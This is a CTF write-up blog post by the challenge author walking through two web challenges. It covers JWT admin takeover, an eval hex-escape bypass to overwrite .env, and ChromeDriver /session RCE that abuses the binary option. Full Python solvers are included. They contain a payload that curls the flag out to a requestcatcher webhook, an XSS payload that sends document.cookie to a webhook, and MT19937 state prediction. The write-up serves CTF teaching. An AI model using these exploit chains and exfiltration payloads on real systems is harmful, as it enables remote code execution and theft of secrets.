Chrome Driver Exploitation with Headache - Final Web Challenge Writeup | CyberSentrix

ReplRepl
14 min read

At the end of 2024, my team and I, Cybersentrix, organized a CTF event aimed at high school students. This event featured two rounds: Qualifiers and Finals.

In the Qualifiers, I contributed seven challenges spanning various categories:

2 Web Challenges

1 Reverse Engineering Challenge

1 Pwn Challenge

2 Miscellaneous Challenges

1 Forensics Challenge

For the Finals, I prepared two additional web challenges, including one that was of medium difficulty. Despite my high hopes, this particular challenge went unsolved

The web challenges I designed for the Finals were part of the "Headache Series" a fitting name given that they were born during a time when I was battling a literal headache!😹😹.

Why Share Only the Final Challenges?

The challenges I created for the Qualifiers were successfully solved, so there's no need to dive into their solutions here. However, the Finals presented a different story. The lack of solves for the medium-level challenge motivated me to share the official solutions and provide some insight into what made these challenges particularly tricky. (I know, perhaps these challenges were a bit of an overkill for a high school CTF XD.)

In this article, I will walk you through the solutions to the two unsolved web challenges from the Finals. These challenges were designed to test participants' creativity and problem-solving skills, and I hope this deep dive helps future CTF participants and creators alike.

Stay tuned for the breakdown of the Headache Series challenges in the final.

Source

All of my challenges were whitebox web challenges, and you can try them yourself by downloading the attachments from this site: [ you can check the source in the N2L server. ]

@r3plag if you want join N2L dm my discord

RevengeRustyGoHeadache

To begin, let me introduce you to this challenge, which is well-built using Rust for the main service, the bot. This challenge consists of two services: a bot and a browser. The bot is implemented as a Rust web service using the Axum framework, while the browser functionality is built using Express.js.

JWT Vuln in the bot servies to admin

let claims = Claims::new(
    Uuid::parse_str(&user.name).unwrap_or_else(|_| user.id),
    ext.client_ip,
);

The first vulnerability lies in the JWT implementation. When logging in, the JWT assigns the id based on the username, which can also be controlled by the user. The id is expected to follow the UUID format.

as we can see we can register in /v1/auth/signup

pub async fn signup(
        Extension(_ext): Extension<Ext>,
        ValidationExtractor(mut req): ValidationExtractor<RegisterRequest>,
    ) -> AppResult<Json<AuthResponse>> {
        req.email = req.email.to_lowercase();
        req.name = req.name.to_lowercase();

        info!(
            "Received request to create user {:?}/{:?}",
            req.email, req.name
        );

        let is_conflict = crate::entity::user::Entity::find()
            .filter(
                Condition::any()
                    .add(
                        Expr::expr(Func::lower(Expr::col(crate::entity::user::Column::Name)))
                            .eq(req.name.clone()),
                    )
                    .add(
                        Expr::expr(Func::lower(Expr::col(crate::entity::user::Column::Email)))
                            .eq(req.email.clone()),
                    ),
            )
            .one(&crate::database::DatabaseHeadache::get_db())
            .await
            .unwrap()
            .is_some();

        if is_conflict {
            return Err(Error::ObjectConflict("User already exists".to_string()));
        }
        let hashed_password = Argon2::default()
            .hash_password(req.password.as_bytes(), &SaltString::generate(&mut OsRng))
            .unwrap()
            .to_string();

        let created_user = crate::entity::user::ActiveModel {
            id: Set(Uuid::new_v4()),
            name: Set(req.name),
            email: Set(req.email),
            password: Set(hashed_password),
            ..Default::default()
        }
        .insert(&crate::database::DatabaseHeadache::get_db())
        .await
        .unwrap();

        info!(
            "Created user {:?}/{:?}",
            created_user.name, created_user.email
        );
        let response_user: User = (created_user, "a".to_string()).into();
        Ok(Json(AuthResponse {
            user: response_user,
        }))
    }

as we can see, we can controll the name without any restriction

#[derive(Clone, Debug, Serialize, Deserialize, Validate)]
pub struct RegisterRequest {
    #[validate(length(min = 3, max = 40))]
    pub name: String,
    #[validate(email)]
    pub email: String,
    pub password: String,
}

the only restriction is only the length and the max, we know uuid the max is 36 characters so we can exploit this. if we input uuid format it will set in the jwt like i said before, lets execute this.

as we can see, we successfully register as the uuid in the v1/healthcheck in that endpoint is the uuid for admin

-- ( that function get init from the init admin ) -- 
pub async fn init_admin() -> Result<()>{
        let rand_password = OsRng.next_u64();
        let hashed_password = Argon2::default()
            .hash_password(
                rand_password.to_string().as_bytes(),
                &SaltString::generate(&mut OsRng),
            )
            .unwrap()
            .to_string();
        let user = entity::user::ActiveModel {
            id: Set(Uuid::new_v4()),
            name: Set(String::from("admin")),
            email: Set(config::ApiConfig::parse().admin_email),
            password: Set(hashed_password),
            ..Default::default()
        }
        .insert(&Self::get_db())
        .await
        .unwrap();
        ADMIN_ID.set(user.id).unwrap();
        info!(
            "admin credentials: {:?} {:?} {:?}",
            user.email,
            rand_password.to_string(),
            user.id.to_string(),

        );

        Ok(())
    }
--- ( get admin id ) --
static ADMIN_ID : OnceCell<Uuid> = OnceCell::new();

pub async fn get_admin_id() -> Result<Uuid> {
    ADMIN_ID.get()
        .ok_or_else(|| anyhow::anyhow!("admin id is not initialized"))
        .cloned()
}
----- ( the endpoint ) -- 
pub async fn health() -> String {
    let id = get_admin_id().await.unwrap().to_string();

    format!("🚀🚀🚀 Server Running and db also running, welcome back {}", id)
}

as we can see after we signup then signin our signin was also successfuilly, that indicates the jwt id iset to our name

We can use tools like jwt-tool or the online utility at jwt.io to ensure that our JWT id is set correctly, as demonstrated in the images above.

yep we use the id admin now.

now we can use the endpoint that restrict to admin only, the /submit endpoints.

pub struct Admin;

impl Admin {
    pub fn app() -> Router {
        Router::new().route("/submit", post(Self::submit))
    }

    pub async fn submit(
        Extension(ext): Extension<Ext>,
        ValidationExtractor(req): ValidationExtractor<AdminReq>,
    ) -> AppResult<String> {
        let operator = ext.operator.ok_or(Error::Unauthorized)?;
        info!("operator: {:?}", operator);
        let user = crate::entity::user::Entity::find()
            .filter(Expr::expr(Expr::col(crate::entity::user::Column::Id)).eq(operator.id.clone()))
            .one(&crate::database::DatabaseHeadache::get_db())
            .await
            .map_err(|_| {
                Error::InternalServerErrorWithContext("Database query failed".to_string())
            })?
            .ok_or_else(|| Error::NotFound("User not found".to_string()))?;
        if user.email != config::ApiConfig::parse().admin_email {
            return Err(Error::AnyhowError(anyhow::anyhow!("Not an admin")));
        }
        let mut capabilities = ::serde_json::Map::new();
        let chrome_opts = ::serde_json::json!({ "args": ["--headless","--disable-web-security"] });
        capabilities.insert("goog:chromeOptions".to_string(), chrome_opts);

        let client: Result<fantoccini::Client, fantoccini::error::NewSessionError> =
            ClientBuilder::native()
                .capabilities(capabilities)
                .connect(&format!(
                    "http://localhost:{}",
                    config::ApiConfig::parse().bot_port
                ))
                .await;

        if client.is_err() {
            return Err(Error::AnyhowError(anyhow::anyhow!(
                "Failed to connect to bot"
            )));
        }

        let client = client.unwrap();
        let _ = client
            .goto("http://localhost:3001/healthcheck")
            .await
            .map_err(|_| Error::AnyhowError(anyhow::anyhow!("Failed to go")));

        let result = client
            .execute_async(&req.status_sc, vec![])
            .await
            .map_err(|e| {
                Error::AnyhowError(anyhow::anyhow!("Failed to extract because of : {}", e))
            })
            .unwrap();
        let _ = client
            .wait()
            .for_element(Locator::Css(
                r#"a.button-download[href="/learn/get-started"]"#,
            ))
            .await;
        client.close().await.map_err(|_| {
            Error::InternalServerErrorWithContext("Error closing the browser".to_string())
        })?;
        let convert_result = serde_json::to_string(&result)
            .map_err(|e| {
                Error::AnyhowError(anyhow::anyhow!("Failed to extract because of : {}", e))
            })
            .unwrap();
        Ok(convert_result)
    }
}

It first extracts the operator from the request's Extension and checks if the operator is valid. If the operator is not found, the request is unauthorized, and an error is returned.After validating the operator, the method performs a database query to find a user whose ID matches the operator.id. If the user is not found or the query fails, an error is returned. now we can abuse this when we can control the operator.id ( as we can exploit it before we can set the username ).

now how to do RCE? first when we request it show error like this :

this error shows because the bot is not start.

now we need to start the bot ( the express services ).

Activating The Browser Driver

in the first one, we can check the route first to know what the function of this program.

healthcheck routes :

const express = require('express');
const { getHealthCheckLogs } = require('../utils/healthCheckLog');
const fs = require('fs');
const path = require('path');
const router = express.Router();

router.get('/', (req, res) => {
  const healthLogs = getHealthCheckLogs();
  res.json(healthLogs);
});


router.post('/health', (req, res) => {
  const healthNew = req.body;
  const db = healthNew.db;
  const newData = healthNew.data;

  if (!db || !newData) {
    return res.status(400).send("Missing 'db' or 'data' in request body");
  }

  try {
    if (db[0] === '.' || db.includes('/') || db < 7 ||
    db.includes("process") || db.includes("require") || 
    db.includes("eval") || db.includes("exec") || 
    db.includes("setTimeout") || db.includes("setInterval") ||
    db.includes("Function") || db.includes("child_process") || 
    db.includes("fs") || db.includes("os") || 
    db.includes("path") || db.includes("stream") || 
    db.includes("Buffer") || db.includes("global") ||
    db.includes("constructor")) {
      return res.status(400).send("Invalid 'db' path or content detected");
    }

    const sanitizedDb = eval(`"${db}"`);
    if (sanitizedDb < 7) {
      return res.status(400).send("Invalid 'db' path or content detected");
    }
    const safeDbPath = path.resolve(sanitizedDb);

    fs.access(safeDbPath, fs.constants.F_OK, (err) => {
      if (err) {
        console.error('File does not exist:', err);
        return res.status(404).send("File does not exist");
      }

      fs.writeFile(safeDbPath, newData, 'utf8', (err) => {
        if (err) {
          console.error('Error writing to the file:', err);
          return res.status(500).send("Error writing to the file");
        }


        fs.readFile(safeDbPath, 'utf8', (err, data) => {
          if (err) {
            console.error('Error reading the file:', err);
            return res.status(500).send("Error reading the file");
          }

          if (data === newData) {

            process.exit(0);
          } else {
            return res.status(400).send(newData);
          }
        });
      });
    });
  } catch (error) {
    console.error('Error evaluating db:', error);
    return res.status(400).send("Error evaluating db expression");
  }
});

module.exports = router;

The objective this time is to start the browser by setting the debug from False to True. There are two functions: a post endpoint that can write to a file, and a cronjob service to reset the environment and also launch the browser.

utils/cronjob.js

const cron = require('node-cron');
const { bot } = require('./seleniumDriver');  
const fs = require('fs');


function resetEnv() {
  const envContent = `
PORT=3001
FLAG=lastchallfrommethischallcreatedonlyfor1days?sorryfurrushchall.dontsubmitthis
DEBUG=false
  `;

  fs.writeFileSync('.env', envContent, 'utf8');
  console.log('.env file has been reset successfully');
}

function startHealthCheckCron() {
  cron.schedule('*/3 * * * * *', async () => {
    console.log('Checking localhost:3000...');
    await bot();
    // sleep(10);
    resetEnv();

  });
}

module.exports = { startHealthCheckCron };

There is one more function, which is why we need to set DEBUG to TRUE, so the bot can run without hitting the restrictions in utils/seleniumDriver.js.

const { Builder, Browser } = require('selenium-webdriver');
const chrome = require('selenium-webdriver/chrome');
const { updateHealthCheck } = require('./healthCheckLog');
const axios = require('axios');
const { isSSRFSafeURL } = require('ssrfcheck');
const { localUrl, remoteDebuggingPort, seleniumOptions } = require('../config/appConfig');

async function setupWebDriver() {
  const service = new chrome.ServiceBuilder()
    .setPort(6969)

  const options = new chrome.Options();
  options.addArguments(`--remote-debugging-port=${remoteDebuggingPort}`);
  options.addArguments(`--remote-debugging-address=127.0.0.1`);
  seleniumOptions.forEach(option => options.addArguments(option));
  return new Builder()
    .forBrowser('chrome')
    .setChromeOptions(options)
    .setChromeService(service)
    .build();
}



async function navigateToPage(driver, url) {
  console.log(`Navigating to: ${url}`);
  await driver.get(url);
  await driver.sleep(2000);
  console.log('Page loaded successfully.');
  updateHealthCheck('ok');
}

async function bot() {
  const url = 'http://localhost:3000';  
  let driver;

  try {
    await validateUrl(url);
    await checkUrlSecurity(url);

    driver = await setupWebDriver();
    if (driver) {
      await navigateToPage(driver, url);

    }
    console.log('Closing WebDriver session after page is loaded.');
  } catch (error) {
    updateHealthCheck('fail');
    console.error('Error:', error);
  } finally {
    if (driver) {
      await driver.quit();
    }
  }

}

function validateUrl(url) {
  const bannedPatterns = [/192\.168\.\d+\.\d+/, /\/sessions/i];
  if (bannedPatterns.some((pattern) => pattern.test(url))) {
    updateHealthCheck('fail');
    throw new Error(`Access to the URL "${url}" is prohibited due to security restrictions.`);
  }
}

async function checkUrlSecurity(url) {
  if (process.env.DEBUG != "true"){
    if (!isSSRFSafeURL(url)) {
      updateHealthCheck('fail');
      throw new Error(`URL "${url}" is not safe for SSRF.`);
    }
  }
  const response = await axios.get(url, { timeout: 5000 });
  const hostHeader = response.request.getHeaders().host;
  if (hostHeader.includes('/session')) {
    updateHealthCheck('fail');
    throw new Error(`Access to the URL "${url}" is prohibited due to security restrictions.`);
  }
  console.log(`URL and host header validated successfully: ${hostHeader}`);
}

module.exports = { bot };

as we can see in the checkUrlSecurity has super restriction about ssrf. and the url we can supply is static, that means we cant change. so we need to bypass the SSRFSECURITY in here. as we can see

async function checkUrlSecurity(url) {
  if (process.env.DEBUG != "true"){
    if (!isSSRFSafeURL(url)) {
      updateHealthCheck('fail');
      throw new Error(`URL "${url}" is not safe for SSRF.`);
    }
  }

In the checkUrlSecurity function, we can bypass the SSRF check by setting the DEBUG environment variable to "true". So, how do we bypass the environment to trigger the setupWebDriver?

Overwrite Env??

After we know the next step involves the environment, you can look at the cronjob.js file, which has a cron service that automatically resets the environment. In the healthcheck routes, there's an Eval function with writefiles. Could this be LFI or RCE? No, because the healthcheck sanitizedDb has many restrictions.

   if (db[0] === '.' || db.includes('/') || db < 7 ||
    db.includes("process") || db.includes("require") || 
    db.includes("eval") || db.includes("exec") || 
    db.includes("setTimeout") || db.includes("setInterval") ||
    db.includes("Function") || db.includes("child_process") || 
    db.includes("fs") || db.includes("os") || 
    db.includes("path") || db.includes("stream") || 
    db.includes("Buffer") || db.includes("global") ||
    db.includes("constructor")) {
      return res.status(400).send("Invalid 'db' path or content detected");
    }

    const sanitizedDb = eval(`"${db}"`);
    if (sanitizedDb < 7) {
      return res.status(400).send("Invalid 'db' path or content detected");
    }
    const safeDbPath = path.resolve(sanitizedDb);

but still using eval. so how? we can manage this to overwrite env. BUT STILL the "." is BANNED in the db name ( we call it db name for now, it use for writing the file name, you can check in fs.writeFile that used ) so how to overwrite the file without the FILE NAME? and the max for the file name is only 6 characters. sanitizedDb < 7

Hex Bypass in the Eval Function

if you researching more about eval function, you will notice about this here.

We can decode the hex using eval, which means we can overwrite the .env file by supplying its hex value, as the \ and x are not banned.

so when we send post with the db hex and the content debug=true. the services will die. SINCE this services running with pm2. it auto apply the changes and run again

command=pm2-runtime server.js

and then we access the endpoint again and it said ok

Chaining all together into rce

when we run eval to overwrite the env now the chromedriver starts

( debug locally )

so how use /submit endpoint in the bots to achieve RCE?

as we can see in the endpoint /submit we use post request with the body of status_sc, but what is status_sc does?

in here status_sc do for execute_async. but what is execute is in the fatoccini?

https://docs.rs/fantoccini/latest/fantoccini/struct.Client.html#method.execute_async

you must read the docs to understand it better how callback works

hm so basically we can execute any javascript client side code when we supply the status_sc?. but the goals in here was a RCE. so how. alright so to use properly status_sc / execute in fatocini is like this

Call a web API from the browser and retrieve the value asynchronously

const JS: &'static str = r#"
    const [date, callback] = arguments;

    fetch(`http://weather.api/${date}/hourly`)
    // whenever the HTTP Request completes,
    // send the value back to the Rust context
    .then(data => {
        callback(data.json())
    })
"#;

We provide the callback. Initially, you know all these programs use Chromedriver, which we started earlier on port 6969. Chromedriver has an RCE vulnerability when creating a new session, so we exploit this. But it's not that simple, right? It's similar to the SNI challenge from the last CTF, but it's a bit tricky. You combine the execute callback from FATOCINNI, which uses Chromedriver in Selenium, and then you callback to create a new session.

const [callback] = arguments;

const snapshot = (thedata) => callback(thedata);

try {
    we can snapshot(allofthis)

} catch (error) {
    console.error("Error processing the data:", error);
    snapshot(error.message);
}

now we can create the session use these template.

const [callback] = arguments;

const snapshot = (thedata) => callback(thedata);

try {
    fetch('http://localhost:6969/session', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            capabilities: {
            alwaysMatch: {
                "goog:chromeOptions": {
                "binary": "/usr/bin/python3",
                    "args":["-cimport(\"os\").system(\"whoami\")"]
                }
            }
            }
        })
        })
        .then(response => response.json())
        .then(data => console.log(data))
        .catch(error => {
            console.error("Error fetching the data:", error);
            snapshot(error.message);
        });
} catch (error) {
    console.error("Error processing the data:", error);
    snapshot(error.message);
}

Now we use this for chaining all solutions, but there's also a trick here. The chromedriver keeps closing after 10 seconds due to cronjobs, so we need to wait a bit or use a while true loop to check the status in the /healthcheck to see if it's navigating or not.

import httpx,re,time

URL_BOT = "http://localhost:1331/bot"
# URL_BROWSER = "http://localhost:3001"
URL_BROWSER = "http://localhost:1331/browser"
WEBHOOK = "https://headachefinal.requestcatcher.com"
class BaseAPI:
    def __init__(self) -> None:
        self.bot = httpx.Client(base_url=URL_BOT)
        self.browser = httpx.Client(base_url=URL_BROWSER)
    def start_browser(self):
        try:
            r = self.browser.post('/healthcheck/health', json={
                'db':"\\x2e\\x65\\x6e\\x76",
                'data': 'DEBUG=true'
            })
            print(r.text)
        except:
            pass

    def create_rce_with_sessionchrome(self, script):
        r = self.bot.post('/v1/admin/submit', json={
            "status_sc" : script
        })

        return r.text

    def register(self, name,email="test@mail.com", password="test"):
        r = self.bot.post('/v1/auth/signup', json={
            "name": name,
            "email": email,
            "password": password
        })
        return r.status_code

    def login(self, email="test@mail.com", password="test"):
        r = self.bot.post('/v1/auth/signin', json={
            "email": email,
            "password": password
        })
        return r.json()["user"]["access_token"]

    def get_admin_uuid(self):
        r = self.bot.get("/v1/health")
        self.uuid = re.findall(r"back (.*)", r.text)[0]
        # print(uuid)
    def admin_takeover(self):
        self.get_admin_uuid()
        self.register(name=self.uuid)    
        token = self.login()
        print('[+] token : ' + token)
        self.bot.headers["Authorization"] = f"{token}"
        print(self.create_rce_with_sessionchrome("""const [callback] = arguments;\r\n\r\nconst snapshot = (thedata) => callback(thedata);\r\n\r\ntry {\r\n    fetch('http:\/\/localhost:6969\/session', {\r\n        method: 'POST',\r\n        headers: {\r\n            'Content-Type': 'application\/json'\r\n        },\r\n        body: JSON.stringify({\r\n            capabilities: {\r\n            alwaysMatch: {\r\n                \"goog:chromeOptions\": {\r\n                \"binary\": \"\/usr\/bin\/python3\",\r\n                    \"args\":[\"-c__import__(\\\"os\\\").system(\\\"curl https://headachefinal.requestcatcher.com/$(cat /f*)\\\")\"]\r\n                }\r\n            }\r\n            }\r\n        })\r\n        })\r\n        .then(response => response.json())\r\n        .then(data => console.log(data))\r\n        .catch(error => {\r\n            console.error(\"Error fetching the data:\", error);\r\n            snapshot(error.message);\r\n        });\r\n} catch (error) {\r\n    console.error(\"Error processing the data:\", error);\r\n    snapshot(error.message);\r\n}"""))

class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    api.start_browser()
    print('[+] Started browser')
    time.sleep(1)
    print('[-] Loading')
    time.sleep(1)
    print('[+] Loading to takeover')
    time.sleep(1)
    print('[-] Loading')
    while True:
        print('[+] Started takeover and rce')
        time.sleep(1)
        api.admin_takeover()

wait a second and we get the flag

SENTRIX{y3yy_c0ngr4ts_pl4y1ng_w1th_th3_dr1v3r}

JSHeadache

In the end, I included this in the first challenge and marked it as easy-medium for high school students. If you want more details about this challenge, you can join our Discord at N2L to learn specifically how I researched this popunder technique for bypassing auto-close in browsers. You can also see other solutions from SMK7 Semarang that were solved after the event.

Join N2L by messaging my Discord @r3plican; it's free for anyone from any country or age.

Solver

import httpx
from mt19937predictor import MT19937Predictor

URL = "http://77.37.47.226:1811"
# URL = "http://localhost:1811"

WEBHOOK = "https://demoaja.requestcatcher.com/get_flag_enc?c="

ENC_FLAG = "400d63a4cc4ba2fac3716bd29ebfc563"
demo = "http://youtube.com&@google.com#@wikipedia.com/"

host = '\\g\\o\\o\\g\\l\\e.c\\o\\m'

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url, timeout=60)
    def ssrf_and_get_jwt_by_hosts(self):
        r = self.c.post('/hosts', data={
            'host': host
        })
        self.simulate_adm2 = r.cookies.get('jwt2')
        print('ssrf /hosts bypassed, this the jwt : ', self.simulate_adm2)
    def ssrf_and_get_jwt_by_requests(self):
        r = self.c.post('/requests', data={
            'url': demo
        })
        self.simulate_adm1 = r.cookies.get('jwt')
        print('ssrf /requests bypassed, this the jwt : ', self.simulate_adm1)
    def submit(self):
        r = self.c.post('/check', data={
            'pop_rdi': 'about:blank', 
            'timeout':'60000',
        #   onmousedown="mouse_down()" <- because of this we can trigger xss when using mouseup but in playwright is no user interaction.
            'category':'mouseup', 
            # you can also use like this :) 
            # ",window.location.href = 'javascript:\x66\x65\x74\x63\x68\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x64\x65\x6d\x6f\x61\x6a\x61\x2e\x72\x65\x71\x75\x65\x73\x74\x63\x61\x74\x63\x68\x65\x72\x2e\x63\x6f\x6d\x0a\x0a\x3f\x63\x3d\x27\x2b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x29\x3b\x61\x6c\x65\x72\x74\x28\x31\x29',"
            'my-headache':'Severe headache triggered by JS!',
            # why we trigger alert? to load the window location so it will not close
            'your-headache':f"\",window.location.href = '{WEBHOOK}'+document.cookie;new up_coming_features;//",
            # 'your-headache': f"\");location='javascript:alert\\x28\\'a\\'\\x29';//" # <-- you can use this to bypass ( 

            # for debug
            # 'your-headache':"fetch('http://localhost:1811/flag?flag=33671c99be5c1b5988f6d358f24093c4').then(r => r.text()).then(alert).catch(console.error);",
            # 'your-headache':"alert(document.cookie)",
            'number-selector':'1000',
            'number-happy':'-1000'
            })
        print(r.text)

    def get_flag(self,md5flag=ENC_FLAG):
        predictor = MT19937Predictor()

        for i in range(624):
            print('iteration : ', i)
            x = self.c.get('/debug?debug=1')
            predictor.setrandbits(int(x.json()['hash']), 32) 
        predicted = predictor.getrandbits(32)
        print('predict : ', predicted)
        r = self.c.get('/debug', params={
            'hash':predicted,
            'flag':md5flag
        })
        print(r.text)



class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    # api.get_flag()
    # api.ssrf_and_get_jwt_by_requests()
    # api.ssrf_and_get_jwt_by_hosts()
    # api.submit()
    # enc_flag = input('input md5 flag: ')
    # api.get_flag(enc_flag)
    api.get_flag()
0
Subscribe to my newsletter

Read articles from Repl directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Repl
Repl

the struggle itself towards the heights is enough to fill a man heart. one must imagine Sisyphus was happy